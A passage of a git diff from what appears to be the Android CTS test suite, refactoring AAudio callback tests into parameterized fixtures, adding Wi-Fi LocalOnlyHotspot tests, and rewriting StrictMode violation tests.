+ AAudioStream *stream, void *userData, void *audioData, int32_t numFrames);
+};
+
+aaudio_data_callback_result_t AAudioInputStreamCallbackTest::MyDataCallbackProc(
+ AAudioStream* /*stream*/, void *userData, void* /*audioData*/, int32_t numFrames) {
+ AAudioCallbackTestData *myData = static_cast<AAudioCallbackTestData*>(userData);
+ myData->updateFrameCount(numFrames);
+ // No latency measurement as there is no API for querying capture position.
+ myData->callbackCount++;
+ return AAUDIO_CALLBACK_RESULT_CONTINUE;
+}
+
+void AAudioInputStreamCallbackTest::SetUp() {
+ aaudio_sharing_mode_t requestedSharingMode = std::get<0>(GetParam());
+ mHelper.reset(new InputStreamBuilderHelper(requestedSharingMode));
+ mHelper->initBuilder();
+
+ int32_t framesPerDataCallback = std::get<1>(GetParam());
+ mCbData.reset(new AAudioCallbackTestData());
+ AAudioStreamBuilder_setErrorCallback(builder(), &MyErrorCallbackProc, mCbData.get());
+ AAudioStreamBuilder_setDataCallback(builder(), &MyDataCallbackProc, mCbData.get());
+ if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+ AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
}
+
+ mSetupSuccesful = false;
+ mHelper->createAndVerifyStream(&mSetupSuccesful);
+}
+
+// Test Reading from an AAudioStream using a Callback
+TEST_P(AAudioInputStreamCallbackTest, testRecording) {
+ if (!mSetupSuccesful) return;
+
+ // TODO Why does getDeviceId() always return 0?
+ // EXPECT_NE(AAUDIO_DEVICE_UNSPECIFIED, AAudioStream_getDeviceId(stream));
+
+ const int32_t framesPerDataCallback = std::get<1>(GetParam());
+ const int32_t actualFramesPerDataCallback = AAudioStream_getFramesPerDataCallback(stream());
+ if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+ ASSERT_EQ(framesPerDataCallback, actualFramesPerDataCallback);
+ }
+
+ mCbData->reset(actualFramesPerDataCallback);
+
+ mHelper->startStream();
+ sleep(2); // let the stream run
+
+ ASSERT_EQ(mCbData->callbackError, AAUDIO_OK);
+ ASSERT_GT(mCbData->callbackCount, 10);
+
+ mHelper->stopStream();
+
+ int32_t oldCallbackCount = mCbData->callbackCount;
+ EXPECT_GT(oldCallbackCount, 10);
+ sleep(1);
+ EXPECT_EQ(oldCallbackCount, mCbData->callbackCount); // expect not advancing
+
+ if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
+ ASSERT_EQ(framesPerDataCallback, mCbData->actualFramesPerCallback);
+ }
+
+ ASSERT_EQ(mCbData->callbackError, AAUDIO_OK);
+}
+
+INSTANTIATE_TEST_CASE_P(SM, AAudioInputStreamCallbackTest,
+ ::testing::Values(
+ std::make_tuple(AAUDIO_SHARING_MODE_SHARED, AAUDIO_UNSPECIFIED),
+ std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 109), // arbitrary prime number < 192
+ std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 223)), // arbitrary prime number > 192
+ &getTestName);
+
+
+class AAudioOutputStreamCallbackTest : public AAudioStreamCallbackTest<OutputStreamBuilderHelper> {
+ protected:
+ void SetUp() override;
+
+ static aaudio_data_callback_result_t MyDataCallbackProc(
+ AAudioStream *stream, void *userData, void *audioData, int32_t numFrames);
+};
+
+// Callback function that fills the audio output buffer.
+aaudio_data_callback_result_t AAudioOutputStreamCallbackTest::MyDataCallbackProc(
+ AAudioStream *stream, void *userData, void *audioData, int32_t numFrames) {
int32_t samplesPerFrame = AAudioStream_getSamplesPerFrame(stream);
int32_t numSamples = samplesPerFrame * numFrames;
if (AAudioStream_getFormat(stream) == AAUDIO_FORMAT_PCM_I16) {
@@ -95,49 +213,39 @@
for (int i = 0; i < numSamples; i++) *floatData++ = 0.0f;
}
- int32_t latency = measureLatency(stream);
- if (latency > 0) {
- if (latency < myData->minLatency) {
- myData->minLatency = latency;
- }
- if (latency > myData->maxLatency) {
- myData->maxLatency = latency;
- }
- }
-
+ AAudioCallbackTestData *myData = static_cast<AAudioCallbackTestData*>(userData);
+ myData->updateFrameCount(numFrames);
+ myData->updateLatency(measureLatency(stream));
myData->callbackCount++;
return AAUDIO_CALLBACK_RESULT_CONTINUE;
}
-// Test Writing to an AAudioStream using a Callback
-static void runtest_aaudio_callback(aaudio_sharing_mode_t requestedSharingMode,
- int32_t framesPerDataCallback) {
- AAudioCallbackTestData myTestData;
- StreamBuilderHelper helper{requestedSharingMode};
+void AAudioOutputStreamCallbackTest::SetUp() {
+ aaudio_sharing_mode_t requestedSharingMode = std::get<0>(GetParam());
+ mHelper.reset(new OutputStreamBuilderHelper(requestedSharingMode));
+ mHelper->initBuilder();
- int32_t actualFramesPerDataCallback = 0;
-
- myTestData.callbackCount.store(0);
- myTestData.callbackError = AAUDIO_OK;
- myTestData.actualFramesPerCallback = 0;
- myTestData.expectedFramesPerCallback = 0;
-
- helper.initBuilder();
-
- AAudioStreamBuilder_setErrorCallback(helper.builder(), MyErrorCallbackProc, &myTestData);
- AAudioStreamBuilder_setDataCallback(helper.builder(), MyDataCallbackProc, &myTestData);
+ int32_t framesPerDataCallback = std::get<1>(GetParam());
+ mCbData.reset(new AAudioCallbackTestData());
+ AAudioStreamBuilder_setErrorCallback(builder(), &MyErrorCallbackProc, mCbData.get());
+ AAudioStreamBuilder_setDataCallback(builder(), &MyDataCallbackProc, mCbData.get());
if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
- AAudioStreamBuilder_setFramesPerDataCallback(helper.builder(), framesPerDataCallback);
+ AAudioStreamBuilder_setFramesPerDataCallback(builder(), framesPerDataCallback);
}
- bool success = false;
- helper.createAndVerifyStream(&success);
- ASSERT_TRUE(success);
+ mSetupSuccesful = false;
+ mHelper->createAndVerifyStream(&mSetupSuccesful);
+}
+
+// Test Writing to an AAudioStream using a Callback
+TEST_P(AAudioOutputStreamCallbackTest, testPlayback) {
+ ASSERT_TRUE(mSetupSuccesful);
// TODO Why does getDeviceId() always return 0?
// EXPECT_NE(AAUDIO_DEVICE_UNSPECIFIED, AAudioStream_getDeviceId(stream));
- actualFramesPerDataCallback = AAudioStream_getFramesPerDataCallback(helper.stream());
+ const int32_t framesPerDataCallback = std::get<1>(GetParam());
+ const int32_t actualFramesPerDataCallback = AAudioStream_getFramesPerDataCallback(stream());
if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
ASSERT_EQ(framesPerDataCallback, actualFramesPerDataCallback);
}
@@ -145,55 +253,42 @@
// Start/stop more than once to see if it fails after the first time.
// Write some data and measure the rate to see if the timing is OK.
for (int loopIndex = 0; loopIndex < 2; loopIndex++) {
+ mCbData->reset(actualFramesPerDataCallback);
- myTestData.callbackCount = 0;
- myTestData.minLatency = INT32_MAX;
- myTestData.maxLatency = 0;
- myTestData.callbackCount.store(0);
-
- myTestData.expectedFramesPerCallback = actualFramesPerDataCallback;
-
- helper.startStream();
-
+ mHelper->startStream();
sleep(2); // let the stream run
- ASSERT_EQ(myTestData.callbackError.load(), AAUDIO_OK);
- ASSERT_GT(myTestData.callbackCount.load(), 10);
+ ASSERT_EQ(mCbData->callbackError, AAUDIO_OK);
+ ASSERT_GT(mCbData->callbackCount, 10);
// For more coverage, alternate pausing and stopping.
if ((loopIndex & 1) == 0) {
- helper.pauseStream();
+ mHelper->pauseStream();
} else {
- helper.stopStream();
+ mHelper->stopStream();
}
- int32_t oldCallbackCount = myTestData.callbackCount.load();
+ int32_t oldCallbackCount = mCbData->callbackCount;
EXPECT_GT(oldCallbackCount, 10);
sleep(1);
- EXPECT_EQ(oldCallbackCount, myTestData.callbackCount.load()); // expect not advancing
+ EXPECT_EQ(oldCallbackCount, mCbData->callbackCount); // expect not advancing
if (framesPerDataCallback != AAUDIO_UNSPECIFIED) {
- ASSERT_EQ(framesPerDataCallback, myTestData.actualFramesPerCallback);
+ ASSERT_EQ(framesPerDataCallback, mCbData->actualFramesPerCallback);
}
- EXPECT_GE(myTestData.minLatency, 1); // Absurdly low
- EXPECT_LE(myTestData.maxLatency, 300); // Absurdly high, should be < 30
+ EXPECT_GE(mCbData->minLatency, 1); // Absurdly low
+ EXPECT_LE(mCbData->maxLatency, 300); // Absurdly high, should be < 30
// Note that on some devices it's 200-something
- //printf("latency: %d, %d\n", myTestData.minLatency, myTestData.maxLatency);
+ //printf("latency: %d, %d\n", mCbData->minLatency, mCbData->maxLatency);
}
- ASSERT_EQ(myTestData.callbackError.load(), AAUDIO_OK);
+ ASSERT_EQ(mCbData->callbackError, AAUDIO_OK);
}
-// Test Using an AAudioStream callback in SHARED mode.
-TEST(test_aaudio, aaudio_callback_shared_unspecified) {
- runtest_aaudio_callback(AAUDIO_SHARING_MODE_SHARED, AAUDIO_UNSPECIFIED);
-}
-
-TEST(test_aaudio, aaudio_callback_shared_109) {
- runtest_aaudio_callback(AAUDIO_SHARING_MODE_SHARED, 109); // arbitrary prime number < 192
-}
-
-TEST(test_aaudio, aaudio_callback_shared_223) {
- runtest_aaudio_callback(AAUDIO_SHARING_MODE_SHARED, 223); // arbitrary prime number > 192
-}
+INSTANTIATE_TEST_CASE_P(SM, AAudioOutputStreamCallbackTest,
+ ::testing::Values(
+ std::make_tuple(AAUDIO_SHARING_MODE_SHARED, AAUDIO_UNSPECIFIED),
+ std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 109), // arbitrary prime number < 192
+ std::make_tuple(AAUDIO_SHARING_MODE_SHARED, 223)), // arbitrary prime number > 192
+ &getTestName);
diff --git a/tests/tests/nativemedia/aaudio/src/utils.cpp b/tests/tests/nativemedia/aaudio/src/utils.cpp
index 167892c..5b929fc 100644
--- a/tests/tests/nativemedia/aaudio/src/utils.cpp
+++ b/tests/tests/nativemedia/aaudio/src/utils.cpp
@@ -14,6 +14,12 @@
* limitations under the License.
*/
+#define LOG_TAG "AAudioTest"
+
+#include <sys/types.h>
+#include <unistd.h>
+
+#include <android/log.h>
#include <gtest/gtest.h>
#include "test_aaudio.h"
@@ -28,12 +34,24 @@
return (time.tv_sec * NANOS_PER_SECOND) + time.tv_nsec;
}
-StreamBuilderHelper::StreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode)
- : mRequested{48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode},
- mActual{0, 0, AAUDIO_FORMAT_INVALID, -1}, mFramesPerBurst{-1},
- mBuilder{nullptr}, mStream{nullptr} {
+const char* sharingModeToString(aaudio_sharing_mode_t mode) {
+ switch (mode) {
+ case AAUDIO_SHARING_MODE_SHARED: return "SHARED";
+ case AAUDIO_SHARING_MODE_EXCLUSIVE: return "EXCLUSIVE";
+ }
+ return "UNKNOWN";
}
+
+StreamBuilderHelper::StreamBuilderHelper(
+ aaudio_direction_t direction, int32_t sampleRate,
+ int32_t samplesPerFrame, aaudio_format_t dataFormat,
+ aaudio_sharing_mode_t sharingMode)
+ : mDirection{direction},
+ mRequested{sampleRate, samplesPerFrame, dataFormat, sharingMode},
+ mActual{0, 0, AAUDIO_FORMAT_INVALID, -1}, mFramesPerBurst{-1},
+ mBuilder{nullptr}, mStream{nullptr} {}
+
StreamBuilderHelper::~StreamBuilderHelper() {
close();
}
@@ -46,12 +64,11 @@
// Request stream properties.
AAudioStreamBuilder_setDeviceId(mBuilder, AAUDIO_DEVICE_UNSPECIFIED);
- AAudioStreamBuilder_setDirection(mBuilder, AAUDIO_DIRECTION_OUTPUT);
+ AAudioStreamBuilder_setDirection(mBuilder, mDirection);
AAudioStreamBuilder_setSampleRate(mBuilder, mRequested.sampleRate);
AAudioStreamBuilder_setSamplesPerFrame(mBuilder, mRequested.samplesPerFrame);
AAudioStreamBuilder_setFormat(mBuilder, mRequested.dataFormat);
AAudioStreamBuilder_setSharingMode(mBuilder, mRequested.sharingMode);
- AAudioStreamBuilder_setBufferCapacityInFrames(mBuilder, 2000);
}
// Needs to be a 'void' function due to ASSERT requirements.
@@ -65,7 +82,7 @@
ASSERT_EQ(AAUDIO_OK, result);
ASSERT_TRUE(mStream != nullptr);
ASSERT_EQ(AAUDIO_STREAM_STATE_OPEN, AAudioStream_getState(mStream));
- ASSERT_EQ(AAUDIO_DIRECTION_OUTPUT, AAudioStream_getDirection(mStream));
+ ASSERT_EQ(mDirection, AAudioStream_getDirection(mStream));
// Check to see what kind of stream we actually got.
mActual.sampleRate = AAudioStream_getSampleRate(mStream);
@@ -77,7 +94,7 @@
ASSERT_LE(mActual.samplesPerFrame, 16); // TODO what is min/max?
mActual.dataFormat = AAudioStream_getFormat(mStream);
- // Asserted by the client code.
+ ASSERT_EQ(AAUDIO_FORMAT_PCM_I16, mActual.dataFormat);
mFramesPerBurst = AAudioStream_getFramesPerBurst(mStream);
ASSERT_GE(mFramesPerBurst, 16);
@@ -90,6 +107,15 @@
*success = true;
}
+void StreamBuilderHelper::close() {
+ if (mBuilder != nullptr) {
+ ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(mBuilder));
+ }
+ if (mStream != nullptr) {
+ ASSERT_EQ(AAUDIO_OK, AAudioStream_close(mStream));
+ }
+}
+
void StreamBuilderHelper::streamCommand(
StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState) {
ASSERT_EQ(AAUDIO_OK, cmd(mStream));
@@ -99,11 +125,33 @@
ASSERT_EQ(toState, state);
}
-void StreamBuilderHelper::close() {
- if (mBuilder != nullptr) {
- ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(mBuilder));
+
+InputStreamBuilderHelper::InputStreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode)
+ : StreamBuilderHelper{AAUDIO_DIRECTION_INPUT,
+ 48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode} {}
+
+// Native apps don't have permissions, thus recording can
+// only be tested when running as root.
+static bool canTestRecording() {
+ static const bool runningAsRoot = getuid() == 0;
+ return runningAsRoot;
+}
+
+void InputStreamBuilderHelper::createAndVerifyStream(bool *success) {
+ if (!canTestRecording()) {
+ __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "No permissions to run recording tests");
+ *success = false;
+ } else {
+ StreamBuilderHelper::createAndVerifyStream(success);
}
- if (mStream != nullptr) {
- ASSERT_EQ(AAUDIO_OK, AAudioStream_close(mStream));
- }
+}
+
+
+OutputStreamBuilderHelper::OutputStreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode)
+ : StreamBuilderHelper{AAUDIO_DIRECTION_OUTPUT,
+ 48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode} {}
+
+void OutputStreamBuilderHelper::initBuilder() {
+ StreamBuilderHelper::initBuilder();
+ AAudioStreamBuilder_setBufferCapacityInFrames(mBuilder, 2000);
}
diff --git a/tests/tests/nativemedia/aaudio/src/utils.h b/tests/tests/nativemedia/aaudio/src/utils.h
index 8f60220..15243fd 100644
--- a/tests/tests/nativemedia/aaudio/src/utils.h
+++ b/tests/tests/nativemedia/aaudio/src/utils.h
@@ -19,22 +19,21 @@
#include <aaudio/AAudio.h>
int64_t getNanoseconds(clockid_t clockId = CLOCK_MONOTONIC);
+const char* sharingModeToString(aaudio_sharing_mode_t mode);
class StreamBuilderHelper {
public:
- // Used to ensure that helper gets closed properly.
- // class ScopedGuard {
- // public:
- // explicit ScopedGuard(StreamBuilderHelper& helper) : mHelper{helper} {}
- // ~ScopedGuard() { mHelper.close(); }
- // private:
- // StreamBuilderHelper& mHelper;
- // }
+ struct Parameters {
+ int32_t sampleRate;
+ int32_t samplesPerFrame;
+ aaudio_format_t dataFormat;
+ aaudio_sharing_mode_t sharingMode;
+ };
- explicit StreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode);
- ~StreamBuilderHelper();
void initBuilder();
void createAndVerifyStream(bool *success);
+ void close();
+
void startStream() {
streamCommand(&AAudioStream_requestStart,
AAUDIO_STREAM_STATE_STARTING, AAUDIO_STREAM_STATE_STARTED);
@@ -51,25 +50,23 @@
streamCommand(&AAudioStream_requestFlush,
AAUDIO_STREAM_STATE_FLUSHING, AAUDIO_STREAM_STATE_FLUSHED);
}
- void close();
-
- struct Parameters {
- int32_t sampleRate;
- int32_t samplesPerFrame;
- aaudio_audio_format_t dataFormat;
- aaudio_sharing_mode_t sharingMode;
- };
AAudioStreamBuilder* builder() const { return mBuilder; }
AAudioStream* stream() const { return mStream; }
const Parameters& actual() const { return mActual; }
int32_t framesPerBurst() const { return mFramesPerBurst; }
- private:
+ protected:
+ StreamBuilderHelper(aaudio_direction_t direction, int32_t sampleRate,
+ int32_t samplesPerFrame, aaudio_format_t dataFormat,
+ aaudio_sharing_mode_t sharingMode);
+ ~StreamBuilderHelper();
+
typedef aaudio_result_t (StreamCommand)(AAudioStream*);
void streamCommand(
StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState);
+ const aaudio_direction_t mDirection;
const Parameters mRequested;
Parameters mActual;
int32_t mFramesPerBurst;
@@ -77,4 +74,16 @@
AAudioStream *mStream;
};
+class InputStreamBuilderHelper : public StreamBuilderHelper {
+ public:
+ explicit InputStreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode);
+ void createAndVerifyStream(bool *success);
+};
+
+class OutputStreamBuilderHelper : public StreamBuilderHelper {
+ public:
+ explicit OutputStreamBuilderHelper(aaudio_sharing_mode_t requestedSharingMode);
+ void initBuilder();
+};
+
#endif // CTS_MEDIA_TEST_AAUDIO_UTILS_H
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 33c184a..cbf3e93 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -59,6 +59,7 @@
private static MySync mMySync;
private List<ScanResult> mScanResults = null;
private NetworkInfo mNetworkInfo;
+ private Object mLOHSLock = new Object();
// Please refer to WifiManager
private static final int MIN_RSSI = -100;
@@ -173,14 +174,25 @@
private void setWifiEnabled(boolean enable) throws Exception {
synchronized (mMySync) {
- assertTrue(mWifiManager.setWifiEnabled(enable));
if (mWifiManager.isWifiEnabled() != enable) {
+ // the new state is different, we expect it to change
mMySync.expectedState = STATE_WIFI_CHANGING;
- long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
- int expectedState = (enable ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
- while (System.currentTimeMillis() < timeout
- && mMySync.expectedState != expectedState)
- mMySync.wait(WAIT_MSEC);
+ } else {
+ mMySync.expectedState = (enable ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
+ }
+ // now trigger the change
+ assertTrue(mWifiManager.setWifiEnabled(enable));
+ waitForExpectedWifiState(enable);
+ }
+ }
+
+ private void waitForExpectedWifiState(boolean enabled) throws InterruptedException {
+ synchronized (mMySync) {
+ long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
+ int expected = (enabled ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
+ while (System.currentTimeMillis() < timeout
+ && mMySync.expectedState != expected) {
+ mMySync.wait(WAIT_MSEC);
}
}
}
@@ -517,6 +529,13 @@
}
assertTrue(mWifiManager.isWifiEnabled());
+ // give the test a chance to autoconnect
+ Thread.sleep(DURATION);
+ if (mNetworkInfo.getState() != NetworkInfo.State.CONNECTED) {
+ // this test requires a connectable network be configured
+ fail("This test requires a wifi network connection.");
+ }
+
// This will generate a distinct stack trace if the initial connection fails.
connectWifi();
@@ -686,4 +705,148 @@
// Passpoint build config |config_wifi_hotspot2_enabled| is disabled, so noop.
}
}
+
+ public class TestLocalOnlyHotspotCallback extends WifiManager.LocalOnlyHotspotCallback {
+ Object hotspotLock;
+ WifiManager.LocalOnlyHotspotReservation reservation = null;
+ boolean onStartedCalled = false;
+ boolean onStoppedCalled = false;
+ boolean onFailedCalled = false;
+ int failureReason = -1;
+
+ TestLocalOnlyHotspotCallback(Object lock) {
+ hotspotLock = lock;
+ }
+
+ @Override
+ public void onStarted(WifiManager.LocalOnlyHotspotReservation r) {
+ synchronized (hotspotLock) {
+ reservation = r;
+ onStartedCalled = true;
+ hotspotLock.notify();
+ }
+ }
+
+ @Override
+ public void onStopped() {
+ synchronized (hotspotLock) {
+ onStoppedCalled = true;
+ hotspotLock.notify();
+ }
+ }
+
+ @Override
+ public void onFailed(int reason) {
+ synchronized (hotspotLock) {
+ onFailedCalled = true;
+ failureReason = reason;
+ hotspotLock.notify();
+ }
+ }
+ }
+
+ private TestLocalOnlyHotspotCallback startLocalOnlyHotspot() {
+ // Location mode must be enabled for this test
+ if (!isLocationEnabled()) {
+ fail("Please enable location for this test");
+ }
+
+ TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLOHSLock);
+ synchronized (mLOHSLock) {
+ try {
+ mWifiManager.startLocalOnlyHotspot(callback, null);
+ // now wait for callback
+ mLOHSLock.wait(DURATION);
+ } catch (InterruptedException e) {
+ }
+ // check if we got the callback
+ assertTrue(callback.onStartedCalled);
+ assertNotNull(callback.reservation.getWifiConfiguration());
+ assertFalse(callback.onFailedCalled);
+ assertFalse(callback.onStoppedCalled);
+ }
+ return callback;
+ }
+
+ private void stopLocalOnlyHotspot(TestLocalOnlyHotspotCallback callback, boolean wifiEnabled) {
+ synchronized (mMySync) {
+ // we are expecting a new state
+ mMySync.expectedState = STATE_WIFI_CHANGING;
+
+ // now shut down LocalOnlyHotspot
+ callback.reservation.close();
+
+ try {
+ waitForExpectedWifiState(wifiEnabled);
+ } catch (InterruptedException e) {}
+ }
+ }
+
+ /**
+ * Verify that calls to startLocalOnlyHotspot succeed with proper permissions.
+ *
+ * Note: Location mode must be enabled for this test.
+ */
+ public void testStartLocalOnlyHotspotSuccess() {
+ boolean wifiEnabled = mWifiManager.isWifiEnabled();
+
+ TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+
+ // at this point, wifi should be off
+ assertFalse(mWifiManager.isWifiEnabled());
+
+ stopLocalOnlyHotspot(callback, wifiEnabled);
+ assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
+ }
+
+ /**
+ * Verify calls to setWifiEnabled from a non-settings app while softap mode is active do not
+ * exit softap mode.
+ *
+ * This test uses the LocalOnlyHotspot API to enter softap mode. This should also be true when
+ * tethering is started.
+ * Note: Location mode must be enabled for this test.
+ */
+ public void testSetWifiEnabledByAppDoesNotStopHotspot() {
+ boolean wifiEnabled = mWifiManager.isWifiEnabled();
+
+ TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+ // at this point, wifi should be off
+ assertFalse(mWifiManager.isWifiEnabled());
+
+ // now we should fail to turn on wifi
+ assertFalse(mWifiManager.setWifiEnabled(true));
+
+ stopLocalOnlyHotspot(callback, wifiEnabled);
+ assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
+ }
+
+ /**
+ * Verify that applications can only have one registered LocalOnlyHotspot request at a time.
+ *
+ * Note: Location mode must be enabled for this test.
+ */
+ public void testStartLocalOnlyHotspotSingleRequestByApps() {
+ boolean caughtException = false;
+
+ boolean wifiEnabled = mWifiManager.isWifiEnabled();
+
+ TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+
+ // at this point, wifi should be off
+ assertFalse(mWifiManager.isWifiEnabled());
+
+ // now make a second request - this should fail.
+ TestLocalOnlyHotspotCallback callback2 = new TestLocalOnlyHotspotCallback(mLOHSLock);
+ try {
+ mWifiManager.startLocalOnlyHotspot(callback2, null);
+ } catch (IllegalStateException e) {
+ Log.d(TAG, "Caught the IllegalStateException we expected: called startLOHS twice");
+ caughtException = true;
+ }
+ assertTrue(caughtException);
+
+ stopLocalOnlyHotspot(callback, wifiEnabled);
+ assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
+ }
}
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index fecc067..21730c6 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -22,15 +22,12 @@
import android.net.TrafficStats;
import android.net.Uri;
import android.os.StrictMode;
-import android.os.SystemClock;
+import android.os.StrictMode.ViolationListener;
import android.system.Os;
import android.system.OsConstants;
import android.test.InstrumentationTestCase;
import android.util.Log;
-import libcore.io.Streams;
-
-import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileInputStream;
@@ -38,8 +35,8 @@
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;
-import java.text.SimpleDateFormat;
-import java.util.Date;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
/**
* Tests for {@link StrictMode}
@@ -66,6 +63,10 @@
StrictMode.setVmPolicy(mVmPolicy);
}
+ public interface ThrowingRunnable {
+ public void run() throws Exception;
+ }
+
/**
* Insecure connection should be detected
*/
@@ -80,10 +81,10 @@
.penaltyLog()
.build());
- long mark = System.currentTimeMillis();
- ((HttpURLConnection) new URL("http://example.com/").openConnection()).getResponseCode();
- assertLogged("Detected cleartext network traffic from UID "
- + android.os.Process.myUid(), mark, 5000);
+ assertViolation("Detected cleartext network traffic from UID", () -> {
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode();
+ });
}
/**
@@ -100,10 +101,10 @@
.penaltyLog()
.build());
- long mark = System.currentTimeMillis();
- ((HttpURLConnection) new URL("https://example.com/").openConnection()).getResponseCode();
- assertNotLogged("Detected cleartext network traffic from UID "
- + android.os.Process.myUid(), mark, 5000);
+ assertNoViolation(() -> {
+ ((HttpURLConnection) new URL("https://example.com/").openConnection())
+ .getResponseCode();
+ });
}
public void testFileUriExposure() throws Exception {
@@ -112,19 +113,21 @@
.penaltyLog()
.build());
- long mark = System.currentTimeMillis();
- Uri uri = Uri.fromFile(new File("/sdcard/meow.jpg"));
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.setDataAndType(uri, "image/jpeg");
- getContext().startActivity(intent);
- assertLogged(uri + " exposed beyond app", mark);
+ final Uri badUri = Uri.fromFile(new File("/sdcard/meow.jpg"));
+ assertViolation(badUri + " exposed beyond app", () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(badUri, "image/jpeg");
+ getContext().startActivity(intent);
+ });
- mark = System.currentTimeMillis();
- uri = Uri.parse("content://com.example/foobar");
- intent = new Intent(Intent.ACTION_VIEW);
- intent.setDataAndType(uri, "image/jpeg");
- getContext().startActivity(intent);
- assertNotLogged(uri + " exposed beyond app", mark);
+ final Uri goodUri = Uri.parse("content://com.example/foobar");
+ assertNoViolation(() -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(goodUri, "image/jpeg");
+ getContext().startActivity(intent);
+ });
}
public void testContentUriWithoutPermission() throws Exception {
@@ -133,19 +136,21 @@
.penaltyLog()
.build());
- long mark = System.currentTimeMillis();
final Uri uri = Uri.parse("content://com.example/foobar");
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.setDataAndType(uri, "image/jpeg");
- getContext().startActivity(intent);
- assertLogged(uri + " exposed beyond app", mark);
+ assertViolation(uri + " exposed beyond app", () -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(uri, "image/jpeg");
+ getContext().startActivity(intent);
+ });
- mark = System.currentTimeMillis();
- intent = new Intent(Intent.ACTION_VIEW);
- intent.setDataAndType(uri, "image/jpeg");
- intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
- getContext().startActivity(intent);
- assertNotLogged(uri + " exposed beyond app", mark);
+ assertNoViolation(() -> {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setDataAndType(uri, "image/jpeg");
+ intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ getContext().startActivity(intent);
+ });
}
public void testUntaggedSocketsHttp() throws Exception {
@@ -159,18 +164,20 @@
.penaltyLog()
.build());
- long mark = System.currentTimeMillis();
- ((HttpURLConnection) new URL("http://example.com/").openConnection()).getResponseCode();
- assertLogged("Untagged socket detected", mark);
+ assertViolation("Untagged socket detected", () -> {
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode();
+ });
- mark = System.currentTimeMillis();
- TrafficStats.setThreadStatsTag(0xDECAFBAD);
- try {
- ((HttpURLConnection) new URL("http://example.com/").openConnection()).getResponseCode();
- } finally {
- TrafficStats.clearThreadStatsTag();
- }
- assertNotLogged("Untagged socket detected", mark);
+ assertNoViolation(() -> {
+ TrafficStats.setThreadStatsTag(0xDECAFBAD);
+ try {
+ ((HttpURLConnection) new URL("http://example.com/").openConnection())
+ .getResponseCode();
+ } finally {
+ TrafficStats.clearThreadStatsTag();
+ }
+ });
}
public void testUntaggedSocketsRaw() throws Exception {
@@ -184,99 +191,95 @@
.penaltyLog()
.build());
- long mark = System.currentTimeMillis();
- TrafficStats.setThreadStatsTag(0xDECAFBAD);
- try (Socket socket = new Socket("example.com", 80)) {
- socket.getOutputStream().close();
- } finally {
- TrafficStats.clearThreadStatsTag();
- }
- assertNotLogged("Untagged socket detected", mark);
+ assertNoViolation(() -> {
+ TrafficStats.setThreadStatsTag(0xDECAFBAD);
+ try (Socket socket = new Socket("example.com", 80)) {
+ socket.getOutputStream().close();
+ } finally {
+ TrafficStats.clearThreadStatsTag();
+ }
+ });
- mark = System.currentTimeMillis();
- try (Socket socket = new Socket("example.com", 80)) {
- socket.getOutputStream().close();
- }
- assertLogged("Untagged socket detected", mark);
